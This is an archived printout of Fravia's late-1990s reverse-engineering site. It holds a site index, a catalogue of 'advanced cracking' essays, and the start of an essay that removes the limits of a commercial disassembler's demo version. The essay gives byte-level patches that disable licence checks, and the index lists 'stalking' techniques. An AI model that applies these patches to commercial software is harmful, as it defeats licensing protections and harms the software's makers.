Ignore this link. It connects to a bunch of phony E-mail addresses to frustrate address-gathering spiders
from the stupid spammers... add such a page to your main page too, and make things more difficult for
the silly commercial oriented idiots. I have also prepared a small page of advices against commercial
spammers.

http://www.instinct.org/fravia/index.htm (6 of 6) [2/7/2001 3:06:27 PM]


alphabe.htm: Fravia's messy site index

Some Contents at fravia's


(Anyone can propose new additions)

[A], [B], [C], [D], [E], [F], [G], [H], [I], [J], [K], [L], [M], [N], [O],
[P], [Q], [R], [S], [T], [U], [V], [W], [X], [Y], [Z]
Alphabe!
Updated in September 1999

A
Academy database ~ Advanced reversing ~ Advanced searching ~ Andrew Schulman's own ~
Aanonymity matters ~ Anonymous e-mailing ~ Anti-advertisement Lab ~ Antismut CGI wars ~
Antispam ~ Assembly language ~ Astonishing stories ~ Awards ~

B
Blackboard ~ Biography ~ Bots' wars ~

C
CD-Rom reversing ~ Censorship ~ Chown ~ Cocktails ~ Combing ~ Cookies ~ Counter intelligence ~
Counter measures ~ Corporate survival ~ Cracking for dummies ~ Crippled targets ~ Crossing over ~

D
Delphi reverse engineering ~ Dongles cracking ~

E
http://www.instinct.org/fravia/alphabe.htm (1 of 5) [2/7/2001 3:06:31 PM]
alphabe.htm: Fravia's messy site index

Email me ~ Email stalking techniques ~ Enemy tracking ~ Evaluating search-results ~

F
FAQ ~ Free email services ~ Free pages providers ~

G
Gods (of reversing) ~

H
+HCU Millennium strainer ~ +HCU 1999 courses ~ Help me, you may ~ Hexeditors ~ Hhistory of this
site ~ Homepage ~ How to search ~ How to use our own tools ~

I
If you are new ~ Installing softice ~

J
Java section ~ Javascript ~

K
Keyboard identification ~

L
Legal: is software reverse engineering legal? ~ Luring and social engineering tricks ~ Links ~

http://www.instinct.org/fravia/alphabe.htm (2 of 5) [2/7/2001 3:06:31 PM]


alphabe.htm: Fravia's messy site index

M
Messageboard (main) ~ Messageboard (TOT) ~ Microsoft bashing ~ Millennium strainer ~

N
Netscape, ameliorating ~ Numega's own ~

O
Off line debugging ~ Our own protections ~ Our own tools ~ +Orc ~

P
Papers (+HCU) ~ Packers and unpackers ~ Private links ~ Programming languages ~ Protect better, how
to ~ Protections, most stupid ~ Protectionist' corner ~ Protections, our own ~

Q
Quiver protections ~

R
Reality cracking lab ~ Removing banners ~ Reversing gods ~ Reversing information ~ Reversing
language patterns ~ Reversing protection schemes ~

S
Screaming truths ~ Search forms (heavy) ~ Search forms (light) ~ Search, how to ~ Search engines
vagaries ~ Software protection lab ~ Source checking ~ Simple stalking tools ~ Stalking lab ~ Stalking
matters ~ Stalking techniques (per email) ~ Steganography ~ Strainer (1998) ~ Strainer (1999

http://www.instinct.org/fravia/alphabe.htm (3 of 5) [2/7/2001 3:06:31 PM]


alphabe.htm: Fravia's messy site index

"Millennium") ~ Strainer (1998 solutions) ~ Strainer (1999 solutions) ~ Students' essays ~ Stupid
protections ~

T
Text cracking ~ Things that happen ~ Tools ~ Tools, useful ~ Tools, how to use our own ~ Tools, our
own ~ Tutorials by +ORC ~ Tweak your browser! ~

U
Unassigned essays ~ Useful tools ~

V
Visual basic cracking ~

W
What Fravia knows about you ~ What's new at fravia's

X
Xmas 1998 ~

Y
Z
Zip and rar reversing ~

Back to Fravia's homepage

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved, in the European Union and elsewhere

http://www.instinct.org/fravia/alphabe.htm (4 of 5) [2/7/2001 3:06:31 PM]


alphabe.htm: Fravia's messy site index

http://www.instinct.org/fravia/alphabe.htm (5 of 5) [2/7/2001 3:06:31 PM]


advanced.htm +HCU's most advanced cracking essays (from and for expert crackers)

Reverse engineering Academy


Founded by +ORC in April 1996

Advanced cracking series

Advanced Cracking
Updated October 1999

A very important attempt to systematise our essays! I hope you'll all work a little
on this!
+HCU's taxonomy - Advanced Cracking - started in October 1997

Please note that MANY essays that have been already published (I mean, before this section started)
would indeed have deserved to be listed here. I still don't know if I'll have the time to do it, I hope so.
Anyway: any reader can email me a COMPLETE LIST pointing out which ones (among the hundreds of
essays published until now) deserve in his (humble :-) opinion to be listed here. Hope he has really read
them before opening his mouth, hope he understands what we are talking about (not all do, in fact). We'll
see.
Here you have THE BEST (recent) essays IMHO.
PHASE 1 by Quine:

Cracking THE tool of the trade (bye bye Wdasm), 19 October 1997
(Interactive Disassembler Pro v3.7)

Well, this is SERIOUS ADVANCED CRACKING. You better read and UNDERSTAND each point of
this beautiful essay by Quine, which shines methodologically and has a relevance that encompasses
almost all fields of our trade. There are things inside here, like patching pointers and Boundchecker
API-intercepting, which clearly are NOT FOR NEWBYES, and the whole essay is GOLD worth for all
serious reverse engineers. This essay has been added to the +HCU didactic material (pending Quine's
authorisation) and will from now on be distributed to all +HCUkers that begin the courses together with
the other main files.
I'm proud and happy to host such a well written and interesting essay, I like VERY MUCH the approach

http://www.instinct.org/fravia/advanced.htm (1 of 9) [2/7/2001 3:06:40 PM]


advanced.htm +HCU's most advanced cracking essays (from and for expert crackers)

that Quine utilises, and hope that he will be so kind to send us MANY MORE essays.
Enjoy!
You may find interesting to read ZeeZee's comments to Quine's PHASE 1
PHASE 2 by Frog's Print:

SOURCER 7, 29 October 1997


(efficiency of a well positioned BPINT under DOS)

Well, back to DOS! Was about time! Contrarly to what some still choose to believe, dos reversing is far
from being an obsolete activity: many very important programs are working under DOS, because
Windoze simply does not give enough power, and as +ORC told us long ago in his tut, many of the older
DOS protections are much more tougher and interesting than the banal cmp eax, 1 tricks inside
"compiled" windoze targets...
There is another very nice lesson teached here by Frog's Pint: let's not be lazy! Almost anyone uses a
"ready cracked" (read "stolen") Sourcer 7 version which comes with a pirated serial number inside it: the
whole Web is polluted with all pirated versions of this important tool, and noone seems to care about the
only thing that is really fascinating in our opinion: how to reverse this reverser program 'par excellence'.
And Frog's Print does exactly this, and he writes:
As we are crackers, let's throw away this serial number and crack Sourcer 7.0
Right! And if you add to these 'strategic' thoughts the whole cursor bpinting, you'll agree with me that
this essay deserves to be posistioned among the prestigious "Advanced cracking series". Enjoy!
PHASE 3 by Quine:

Interactive Disassembler Pro v3.7 Demo (II), 30 October 1997


(How to load the previous databases)

Well, this is SERIOUS ADVANCED CRACKING once more. Once more a fundamental tool of the
trade (IDA). Once more a function reenabling work (the loading of the previous databases, i.e. one of the
most important crippled functions of the crippled version: you do not want to start everything anew every
time you use IDA, do you?). Once more something we all need: new knowledge that you can at once
apply to other targets and reverse engineering endeavours.
Quine is getting us used to this kind of well-crafted essays. I'm afraid newbyes will not understand much
here, please read the 'basic' essays first, and peruse the other +HCU page (where you'll find a lot of help
for newbyes) before delving in this.
This said, here you have a real reverse engineering essay in all its glory... enjoy!
PHASE 4 by chown:

Cracking OpenNT 2.0 - object oriented cracking, 1 November 1997


(The temporary DLL trick)

Well, a VERY interesting Unix-school essay, that I'm happy to host on my site. Object oriented cracking!
A very nice definition indeed! I have included this essay in the advanced section because I believe it well

http://www.instinct.org/fravia/advanced.htm (2 of 9) [2/7/2001 3:06:40 PM]


advanced.htm +HCU's most advanced cracking essays (from and for expert crackers)

deserves a place there. You'll notice that there is a lot to learn for any reverser inside this... even if this
(good) author seems to be only at his 'first steps' in windows programming... yet, this notwithstanding,
this is NOT for newbyes. Newbyes should pheraphs have first a look at +gthorne's OTHER +HCU page
first.
I find the part where chown describes is first programming experiences with windows programming
particularly amusing... in fact I believe that any good cracker can indeed often program better than a 'real'
programmer because he can CRACK the compiler into doing whatever he fancies if needs be! Enjoy!
PHASE 5 by NaTzGUL:

InstallSHIELD Script Cracking, 22 November 1997


(Object oriented cracking: INSTALL WIZARDS CRACKING)

Well, a very interesting essay. Here we have a very "sound" approach to Installshield cracking. Read and
enjoy!
PHASE 6 by +ReZiDeNt:

Cracking the Corel/Elan commercial protection scheme, 24 November 1997


(A 'brute force' parameter interception approach :-)

This essay describes an interesting "parameter interception" method: As +ReZiDeNt writes: "So we can
simply locate these pushes and 'hardwire' our own dates into the push instructions instead"... yet so
simple all this was not... a good reason to insert this essay among our "advanced cracking series"
selection! Enjoy!
PHASE 7 by Uncle Van:

Encoded selfmodifying targets, 01 January 1998


(bypassing the WriteProcessMemory - creating our tools)

you'll find a lot more inside this VERY GOOD essay by Uncle Van: self-correcting, real code hiding,
how to adjust the PE header, Uncle Van's 'precracking', bypassing the WriteProcessMemory and a lot of
other goodies... you'll have a couple of days work just to understand what Uncle Van is explaining you...
and that's the nice part of our trade! To learn! Enjoy!
PHASE 8 by Hackmore Readrite:

How To Crack A Ferret, 07 January 1998


(a clever, beautiful protection: wars between keys and the FFFFFFF8 monster)

An incredibly clever and 'sturdy' reversing of a difficult and intelligent protection. I don't use this kind of
programs, and I hate people that throw me advertisement rubbish without asking, yet after having seen
this, I admit that I respect the programmer that devised this protection, he deserves recognition! As sign
of respect we will never again reverse (publicly) his future protection schemes (yet we'll seek and await
them eagerly for our private cracking sessions: they are delicious!), I anyway wont publish any more on

http://www.instinct.org/fravia/advanced.htm (3 of 9) [2/7/2001 3:06:40 PM]


advanced.htm +HCU's most advanced cracking essays (from and for expert crackers)

my sites any essay about Ferret's clever protection schemes, this one is the first and the last, yet what for
an essay! Read, head and enjoy this BEAUTIFUL essay by Hackmore. My congratulations, Hackmore,
Good work! I love your style: not much code and a lot of explanations! And your image of the
FFFFFFF8 Monster lying in ambush is really great!
PHASE 9 by Quine:

Pushing the Envelope with HASP, 20 January 1998


(De-Hasping and other marvels)

I'm not going to comment this essay: Quine is a Master Cracker, and this essay is not even advanced, it's
expert. I have not only learned a lot myself (this I do every time I get a good essay from all +friends) but
I have learned things I did not ever suppose!
For sure I understand now the curiosity that +ORC himself has repeatedly manifested for Quine (after
having read Quine's first essay on IDA +he ordered me to pass +him at once all emails from Quine).
This is definitely NOT FOR BEGINNERS! You better leave this alone if you're not an advanced cracker
yourself (or a very 'steady' beginner cracker, prepared to invest A LOT of time and fatigue on your own
advancing)... anyway, whoever you are... you better read (and follow) this essay MORE than a couple of
times, believe me it is worth any minute you'll invest on it: you'll gain a WEALTH of incredible
information!
My respects and unconditional admiration to +Quine!
PHASE A by Quine:

Extending the IDA Script Language, 27 January 1998


(A First Stab)

This present essay by Quine is -once more- the kind of work anyone is expecting from us: ameliorating
and exstending the functionalities of our targets... just reversing protected proggies is getting dull, if we
don't add anything.
Life is development, and development is progress (based on history and sound knowledge of the past...
else it would be frills instead of progress :-) and progress is building for free on each others shoulders,
out of the commercial dead ends where "they" want to push us.
You'll find here an ADDITION to the already incredible IDA disassembler (and if you are still just
cracking with wdasm -believe me- you don't know what you are loosing) addition that will work
immediatly if you have IDA's 'Quined' version, will require some fumbling if you -instead- have stolen
the full regged one from the Web. Which suites us, since we want you to reverse engineer targets, not to
steal them... man, it should be obvious!
PHASE B by Frog's Print:

Dongle Bashing: end of the dongle old aera ~ Dongles bye bye, 29 January 1998
(How a single +HCU reverser can easily blow a whole commercial sector out of history)

Oh my... the dongle old aera is finished. Out.


That's it, nothing more to add... let's hope we get a new dongle aera to work on.

http://www.instinct.org/fravia/advanced.htm (4 of 9) [2/7/2001 3:06:40 PM]


advanced.htm +HCU's most advanced cracking essays (from and for expert crackers)

Awesome essay. Frog's Print's incredible work should be printed and sipped slowly, it's 'cracking for
conoisseurs', fravia's vintage 1998 "grand reserve"!
Bye bye to all the idiots that wanted to do quick bucks selling hardware protections that were NOT
protections at all. This is good, nobody will mourn the disappearing of smoke-sellers and bogus
protectors. Bye bye to all those that never studied assembly. This is good. Bye bye to all the creations of
the poor programmers that blindly trusted commercial (and THEREFORE bogus) dongle protections to
defend their valuable software instead of writing their own much more solide protections. Tsch Tsch.
You had better read +ORC's students essays first next time. And learn. And now don't come to the idea to
blame Frog's Print... blame those dilettante that have sold you smoke
PHASE C by NaTzGUL:

InstallSHIELD Script Cracking, A tutorial, 12 February 1998


(Zen cracking and other reversing beauties)

Well, NaTzGUL is a GREAT cracker, as anybody that has read is previous essay: InstallSHIELD Script
Cracking, from 22 November 1997, can testify. He now 'deepens' his previous essay and with this tutorial
shows us the 'guts' of Installshield protection... it's a great and beautiful reversing reading!
PHASE D by NaTzGUL:

How to access the memory of a process, a Tutorial, 17 February 1998


(Deep into windows)

NaTzGUL: a great cracker (as Quine pointed out long ago). This essay-tutorial is a valuable contribution
to the "Our tools" section, since what you'll learn here will be of paramount importance when working in
the 'guts' of this awful operating system the world is compelled to live with. Yes, dear reader, you'll
slowly learn how to program (in the most REAL sense of the word) in windows... in order to bend this
overbloated operating system to your twisted purposes :-) Enjoy! It's fundamental 'required' reading...
read it twice (at least) and then work on this... you'll be a much more powerful wizard when you are
finished with this...
(May be a little less help files next time, NaTzGUL? :-)
PHASE E by -bajunny:

Undocumented HASP - Part I, 26 February 1998


(what d'you think of all the hype about HASP?)

Well, whoever -bajunny, this great reverser is, here you have a funny, well written, astonishing, great
anti-hasp tutorial... when I receive this kind of good contributions I "feel" the might of Internet... we are
nothing alone, but once we send a snowball rolling downhill... neither Bill himself nor all King's horses
will ever be able to stop it! :-) Yes, dear -bajunny, by all means! Send your next essays! Send whatever
your cleverness will put together for us...
I have NOT edited your work, because it's a great reading as it is... your text is humorous, interesting and
refreshing... I even left your somewhat 'private' post header on the essay, because of the (very sound)
Lanaki's tip... avec espoir et sans regret, dear -bayunny, I have always thought (especially after having

http://www.instinct.org/fravia/advanced.htm (5 of 9) [2/7/2001 3:06:40 PM]


advanced.htm +HCU's most advanced cracking essays (from and for expert crackers)

seen IDA) that Russian reversers are a race apart!


PHASE F by Jack of Shadows:

Reversing +Aesculapius, 28 February 1998


(A complete explanation of a very good assembler protection)

Oh my, we have awakened a 'dormient' mighty cracker as it seems! :-)


Judging from this work I can only hope that Jack of Shadows' re-awakened passion for reversing will
produce MANY more capable works like this one!
I hope to receive soon Aesculapius' observations about this... and I have to confess that I myself was
playing with this crack, yet I was still inside the 'convolute' xorings when Jack's solution came... and
now, with hindsight, everything seems easy... THEREFORE AN ADVICE TO MY MOST CAPABLE
READERS: DO NOT READ THIS if you have not already started working on Aesculapius' protection!
You would spoil a very nice learning chance if you do...
Once you have already had a couple of cracking sessions on Aesculapius' protection, on the countrary,
you'll sip this beautiful essay as it should be done: chill, refreshing, at the correct mind 'temperature'
PHASE 10 by The Owl:

beta release 3 of the winice dumper, 28 February 1998


This material is not for newbyes. If you are a beginner come back later. Real reverser will immediately
understand how important this is... (and let's hope we'll get the relevant essay soon :-) here what The Owl
wrote me:
1. it is for winice for win95 v3.22 ONLY, 2. the patcher needs an UNPATCHED winice.exe of said
version (or you can patch the patcher of course ;-) 3. the syntax of the dumper command is: PAGEIN
<start> <length> <file> where <address> and <length> can be ANY expressions that can be evaluated in
winice. furthermore, <address> has to evaluate to a flat 32 bit address, one should check it with '?
<address>' if in doubt 4. the dumper itself is not expert material at all, everyone with half brain can use it
(provided he was able to install winice, but i really can't help that ;-). of course, the essay will be at a
somewhat different level...

PHASE 11
SiuL+Hacky's Linux GUIs. The Chances. (Advanced Linux cracking)
by SiuL+Hacky
01 March 1998
Well, an amazing essay by SiuL+Hacky, who seems to be the mightiest Linux wizard reverser of this
planet (if others are there, I have never noticed their signs of life on the Web)
Enjoy this great essay, that carries FUNDAMENTAL teachings for linux reversers (of course) but also
for anyone of +us!

PHASE 12
madmax!'s Cracking using KERNEL32.DLL (Amazing how things dont change!)
by madmax!

http://www.instinct.org/fravia/advanced.htm (6 of 9) [2/7/2001 3:06:40 PM]


advanced.htm +HCU's most advanced cracking essays (from and for expert crackers)

04 March 1998
Tsch tsch, madmax! Playing with kernel!
And THAT is exactly what makes the difference between master crackers and beginners!
What does a real reverser do? He reverses, of course :-)
Now, see, we have this windows overbloated world we must all swim inside... huge, heavy, slow
applicationosauriers, stupidly chewing routines on the code planes... and look! The great reverser hunters
come! Approaching swift, from beneath the codetrees! Man, that's an unfair match for the dick
overbloated windoze protectors!
The reversers are CLEVER! They use TOOLS! They use dos and unix knowledge, and sharp assembly
knives... and so the stupid, almost brainless applicationosurus lays dead... reversed in a pool of bloody
code... have a good meal! burp!
PHASE 13 by -bajunny:

Undocumented HASP - Part II, 12 March 1998


"xDEAD:xBEEF: extending HASP manufacturer's services"

Another great contribution by bajunny. Hasp misteries and vagaries are tackled and resolved. A must
reading for all dongle interested researchers!
PHASE 14 by Stone:

In memory patching: three approaches, 20 March 1998


"how to introduce breakpoints in an automated debugger and other marvels"

A very good essay by Stone, a great cracker and one of the few fine reversers around that produces his
own VERY GOOD TOOLS.
This essay has a very high theoretical value and should IMO be read by ALL reversers: you'll find inside
it matters like "how it's possible to introduce breakpoints in an automated debugger", "making the target
load a DLL for me"... and other marvels. Stone intends to update this work in fieri, therefore your
contributions on all these matters are welcomed. Enjoy! (Beginners shouldn't touch this stuff IMO)
PHASE 15 by anormal/kindergarten

A short essay about usign a new type of protections: design your own cpu, 27 April 1998
PHASE 16 by Marigold

Opening a Vbox full of worms: PreviewParadise lost, 04 May 1998

11 May Corel Ventura 7 trial: Crack it


JaZZ ~ crlvent7.htm advanced ~ fra_0119
98 the hard way
11 May "Extending Softice serie" advanced
Iceman ~ iceext1.htm ~ fra_011A
98 ("Zauberreversing") papers

http://www.instinct.org/fravia/advanced.htm (7 of 9) [2/7/2001 3:06:40 PM]


advanced.htm +HCU's most advanced cracking essays (from and for expert crackers)

Undocumented HASP 3 (no advanced


27 May
Bajunny ~ bayu3.htm more security through ~ fra_0122
98 proj 3
obscurity)
Ltrace. The Tool (Linux advanced
10 July 98 SiuL+Hacky ~ siullin2.htm ~ fra_0135
disassembling) ourtools
How to hook any API advanced
06 Sep 98 PNA ~ pna3.htm ~ fra_0149
function in kernel32.dll papers
Linux advanced cracking: advanced
06 Sep 98 SiuL+Hacky ~ siulflex.htm ~ fra_014C
flexlm ourtools
30 Oct 98 The+Q ~ cft_pro.htm CuteFTP KeyFile Protection advanced ~ fra_0161
isDcc: An installshield advanced
30 Oct 98 adq ~ laste_09.htm ~ fra_0162
Decompiler ourtools
WIN32 Api Hooks, The stub
30 Oct 98 Lone runner ~ fragas1.htm advanced ~ fra_0165
approach
An IDA enhancer (patching advanced
12 Nov 98 Jean-Marc ~ enh_ida.htm ~ fra_0167
the IDA.WLL) htu-tools
VBox The Hellraiser or the advanced
12 Nov 98 Marigold ~ marigo_4.htm "paper tiger" by ~ fra_016A
timelock
PreviewSystems
Securom's clever protection
25 Nov 98 Pedro ~ securom1.htm advanced ~ fra_016B
scheme debunked
Defeating File Integrity
25 Nov 98 Victor Porguen ~ redirect.htm advanced ~ fra_016D
Checks Through Redirection
HWINFO Defeated:
12 Dec 98 The_Owl ~ owlimpo.htm advanced ~ fra_0173
Cracking the impossible
Everlock by Az-Tech:
Reversing a Commerical
12 Dec 98 Tomboy ~ everlock.htm advanced ~ fra_0176
Copy Protection Scheme -
Part 1
Linux cracking: About
23 Dec 98 SiuL+Hacky ~ siul_333.htm advanced ~ fra_0179
Introducing Your Own Code
CD-Cops ~ Another advanced
20 Jan 99 McLallo ~ cdromcla.htm ready-made protection proj 4 ~ fra_0183
annihilated protec
Theory and An essay to understand how
practice of menus and messages work, to advanced
June 99 +Spath ~ ~ ****
menus be able to efficiently reverse papers
reversing function-disabled programs.

http://www.instinct.org/fravia/advanced.htm (8 of 9) [2/7/2001 3:06:40 PM]


advanced.htm +HCU's most advanced cracking essays (from and for expert crackers)

C-Dilla Another commercial


July 99 Black Check ~ advanced ~ ****
Safedisc Protection defeated
Attacks
against the
September chaos is definitely not advanced
+Spath ~ BEST ~ ****
99 randomness papers
encryption
algorithm
Adding
functionality A small example of the most
September interesting part of reverse advanced
LaZaRuS ~ to the ~ ****
99 engineering: Adding papers
Windows
functionality to a program
Calculator
Reversing Key Extraction and
September
Nolan Blender ~ Globetrotter's Encryption Algorithm advanced ~ ****
99
Flexcrypt Reversing
How to crack
September Conseal PC
NeuRaL_NoiSE ~ Hooking API calls via IAT advanced ~ ****
99 Firewall in an
'unusual' way
Reversing,
functions
September addition, Classic cracking of a typical
NeuRaL_NoiSE ~ advanced ~ ****
99 modifications M$-target: notepad.exe
in the existing
code
A paranoic
protection:
October Some tips for advanced IDA advanced
Staier ~ Remote ~ ****
99 users
administrator
viewer

homepage links anonymity +ORC students' essays academy database


tools counter measures cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/advanced.htm (9 of 9) [2/7/2001 3:06:40 PM]


quine1.htm

Cracking THE tool of the trade (bye bye Wdasm)


(Interactive Disassembler Pro v3.7)

by Quine
(19 October 1997)

Advanced cracking series


Courtesy of fravia's page of reverse engineering

Well, this is SERIOUS ADVANCED CRACKING. You better read and UNDERSTAND each point of this beautiful essay by
Quine, which shines methodologically and has a relevance that encompasses almost all fields of our trade. There are things
inside here, like patching pointers and Boundchecker API-intercepting, wich clearly are NOT FOR NEWBYES, and the whole
essay is GOLD worth for all serious reverse engineers. This essay has been added to the +HCU didactic material (pending
Quine's authorization) and will from now on be distributed to all +HCUkers that begin the courses together with the other
main files.
I'm proud and happy to host such a well written and interesting essay, I like VERY MUCH the approach that Quine utilizes,
and hope that he will be so kind to send us MANY MORE essays.
Enjoy!

Cracking THE tool of the trade (bye bye Wdasm)


Interactive Disassembler Pro v3.7
Interactive Disassembler Pro v3.7 Demo
This is a brand new version which is much superior to version 3.6.

Source:

http://www.datarescue.com/ida.htm (homepage)
http://www.datarescue.com/ida/demo37.zip (9,884,100 bytes)

Tools used:

W32DASM 8.9 (soon to be a thing of the past :-)


BoundsChecker Pro 5.0 (look for the poorly protected demo on NuMega's
site)
SoftICE for NT v3.2 (that new video driver is amazing)
(if you can't get Pinnacle's version to install, change the byte at
2B6C in setup.ins from 2B to B8)
Ultraedit32 (just for multifile searching)
HexWorkshop32 (any hex editor will do the trick-including Ultraedit32)

Sections in this article:

I Why IDA Pro 3.7 is so great


II What's disabled in the demo version
III Cracking the 64k file size limitation

http://www.instinct.org/fravia/quine1.htm (1 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

IV Reflections on the protection scheme


V The Expiration Date
VI Summary of the patch
VII The function at 43A314
APPENDIX Stack frames and function calls

I. Why IDA Pro 3.7 is so great

IDA Pro is by far the best disassembler available for PCs (and
probably for any platform). It is ultimately, I think, much, much
better than W32dasm. Why? To begin with, IDA Pro disassembles
properly. (1) It starts disassembling at the program entry point and
then follows every possible execution route from there. Having done
that, it then looks for functions which are not directly accessible
from the main program flow (e.g., window procedures, thread
procedures, and other callback functions of various sorts). This
method of disassembly enables to perform much greater levels of
analysis of the target program. For example, the beginning and ending
of functions are identified and properly marked. Passed arguments and
local variables (both referenced off the stack) are identified and
marked. Switch statements are identified and the case values are
determined (W32dasm does this to a very limited extent). Furthermore,
you have complete decision over what it marks as code and what it marks
as data. This allows it to disassemble code "hidden" or located in
the data section, which happens more often than you might think,
because W32dasm can't disassemble it.
Also, a trick I saw in a dongle driver (ssidppd.drv
from the program WiT) complete flusters disassemblers like w32dasm,
which disassemble blindly straight through the code segment. Here's
the trick:
ANTI-WDASM trick
mov eax, edx
jmp loc_1
db 0F
loc_1: inc eax
jmp loc_2
db 85
loc_2: call sub_1
... and so on

w32dasm produces garbage for this code, but IDA Pro does it right
because it's following the path of execution. (2) IDA can recognize
an amazing range of library functions within a target's body. This
greatly reduces the amount of code to plow through when trying to get
an understanding of the target. It also, of course, provides a wealth
of clues about what a program is doing at any particular place. (3)
IDA also has a fairly robust macro language which enables high levels
of customization. (4) It can disassemble damn near anything: all
pc-based binary formats (all exe formats, lib files, obj files, etc.),
code for almost any microprocessor (several of which I've never heard
of), Java classes --- that's right full blown interactive Java
disassembly, which, as fravia+ says, is the future of cracking! (5)
Names, labels, etc. can be changed on the fly so that you can
gradually accumulate and save more and more information about the

http://www.instinct.org/fravia/quine1.htm (2 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

target (working the fields, as I like to think of it). (6) Comments


can be added. There are undoubtedly more features that I am leaving
out, but you get the idea. In other words, this is __the__
disassembling tool for our trade. Combined with SoftICE and
BoundsChecker (more on the power of BoundsChecker below), no target is
safe any more (not that they had been safe howhever :-)

II. What's disabled in the demo version

(1) It expires on Jan 1, 1998


(2) It cannot load files larger than 64k
(3) It cannot load saved databases (project files)
(4) It cannot produce list (.lst) or asm source files

Limitation
(1) will prove, as you might have expected, to be trivial to crack.

(2) is the biggest issue. The size limitation makes the


demo almost useless as it is. Cracking this limitation is the main
objective for this discussion.

(3) would be very nice to crack, but perhaps long and hard if the
loading code is simply not present in the demo (I think, however,
that it is).
There are two big problems this limitation (3) creates:
(a) IDA's power comes at a price---it's slow, so it would be nice
not to have to have it redisassemble with every session.
(b) Any comments or name changes, etc. will not be accessible after
you quit a session.
Problem (b), fortunately, is avoidable, because the demo will let you
create a macro file (a file with an idc extension) that records all
of your changes which can be reloaded and run for future sessions.

(4) I consider to be the least important because looking at a dumb


listing in a text editor is a pale comparison to viewing it in the
IDA environment. It might be fun, though, to try to produce compilable
asm files from targets. Now, on to the good stuff.

III. Cracking the 64k file size limitation

I will be concerned with the win32 version of IDA. This version is


run by executing the idaw.exe file. This file is quite small and does
nothing more than load ida.wll [sic], which is a large dll that does
most of the work. This is the file that needs cracking. The other
files with w32 extensions are the various disassembler modules.
pc.w32 is the modules to handle x86 code. When you start idaw, it
loads ida.wll (hereinafter simply referred to as ida), which asks you
which file you want to disassemble. ida determines which module to
load based on the file type and then hands control over to that
module. The disassembly module then drives execution for the rest of
the session, calling functions in ida where necessary. This is a
brilliant design, because it allows the programmer to quite easily add
modules for completely different file types without having to rewrite

http://www.instinct.org/fravia/quine1.htm (3 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

the whole program (witness the Java module. One would think Java
disassembly is so different from x86 disassembly that the two could
not happily co-exist in one environment). ida is responsible for
loading the file and for all subsequent file i/o along with a lot of
other things, so let's start by loading ida.wll into w32dasm (I spoke
harshly of w32dasm above and that was unfair. I do have a fondness
for it---however, now that I have a useable IDA Pro, I will never go
back to it :-).

The first thing to do is find the place where IDA decides that a file
bigger 64k is too big. Our first bet might be to look for the text of
the message that pops up when you try to open a file that is too big:
"The demo version..." Unfortunately it is not in the list of strings
w32dasm provides for ida.wll. So, I used UltraEdit32 to do a file
search through the entire idademo directory for the string in
question. It turns out to be in a file called ida.hlp (which is not a
Windows help file, but is in a proprietary format).

Looking at ida.hlp with a hex editor (it's not strictly an ASCII file)
we see that the strings are zero-terminated and appear to be prefixed
with a word which gives their length. Also, at the beginning of the
file is a long series of dwords that appear to be offsets into the
file. You guessed it, the dwords point to the length/string pairs.
This is undoubtedly how the program gets at the strings. There are D
(i.e., 13 (decimal)) bytes at the beginning of the file before the
dword list begins. So, the index to a particular string can be
calculated in the following way:
1. find the string in ida.hlp and record the offset where the length
word starts
2. look up the offset in the list of dwords at the beginning of the
file and record the offset of the dword.
3. Subtract D from the offset of the dword and divide the result by 4
4. What you end up with is the index ida uses to reference a string in
the help file.
The index for the file-too-big message is 556. Using w32dasm to
search for this value in ida.wll, we find the following code:

:00403CE7 81FD00000100 cmp ebp, 00010000 ; cmp file size,64k


:00403CED 760B jbe 00403CFA ; go ahead and load file
:00403CEF 6856050000 push 00000556 ; ida.hlp index of demo msg
:00403CF4 E85FD10500 call 00460E58 ; message box routine

This looks too good to be true (don't worry - it is). It compares ebp
(which must contain the size of the file) with 10000 (i.e., 64k) and
jumps past the bad message if ebp is less than 64k. No problem.
Let's patch the program to force the jump, replacing 76 at 403CED with
EB (jmp) and see what happens.

Running the program, we find that it now lets us open files of any
size and it goes about disassembling them. The problem is that it
appears to be disassembling only a small part of the file (I'm using
ida.wll, by the way, as the large test file to disassemble). Fairly
quickly into the disassembly the message "Execution flows beyond
limits" repeatedly appears at the bottom of the screen and nothing
past (what appears to be) the 64k boundary is disassembled. In fact,

http://www.instinct.org/fravia/quine1.htm (4 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

nothing past the 64k boundary is even represented by raw bytes in the
disassembly listing. There's another check somewhere.

I was stuck at this point for some time. I tried using the help file
method above to search out references to "Execution flows beyond
limits", but, while I found one, no hacking around in that area of the
program seemed to help. It then occurred to me that maybe ida never
even loaded more than 64k of the file. However, that couldn't be
right because it would load the entire DATA segment for ida.wll, which
is well past the 64k mark. Maybe it only loaded 64k of each segment.
To investigate this, I ran IDA with BoundsChecker in order to look at
how much of the file was actually being read in.

So, fire up BoundsChecker (other API spies will probably work, but
they won't give you the wealth of information BC does), and load
idaw.exe. In the program settings, be sure to set it to collect all
event data and to load the module ida.wll. Run the program from BC
and open ida.wll from ida. Let it run for a while (at least
until you start getting the "Execution flows beyond limits" messages),
and then quit ida. You've got one hell of a lot of API calls recorded
in BC. In BC, search for calls to CreateFile (which, remember also
opens files in Win32) until you find one that passes "ida.wll" as the
file name. The return value from CreateFile is the handle to ida.wll,
so write that down and start searching for the handle (this will catch
all API calls having to do with ida.wll). You'll come across a whole
bunch of calls to SetFilePointer and to ReadFile. A lot of these
calls set the file pointer to places in the PE Header and read 200
bytes. Forget about these-it's just reading in relevant info about
the file. Eventually, though, you'll hit a call the sets the pointer
to the beginning of the code segment and reads 7A00 bytes, and then
another that sets the pointer to the beginning of the data segment and
reads DE00 bytes. 600 is the offset to the beginning of the code
segment and 88000 is the offset to the DATA segment. Why is it
reading 7A00 bytes instead of 10000 bytes? We'll answer that question
in a moment. Write down the location in ida.wll (4316DC) that called
ReadFile (this can be found in the right hand pane in BC --- isn't BC
great? NuMega wins again) and switch over to w32dasm to see what's
going on there.

It was in switching over to w32dasm at this point that I had a bit of


dumb luck (dumb because I should have figured this out rather than
stumbling across it). W32dasm happened to be positioned at the top of
the file where it tells you the segment information. Guess what the
size of the code segment is? 87A00. The size of the data segment?
DE00. So, it's only taking the low 2 bytes of the segment sizes to
get the number of bytes to read in from the file. That's why all of
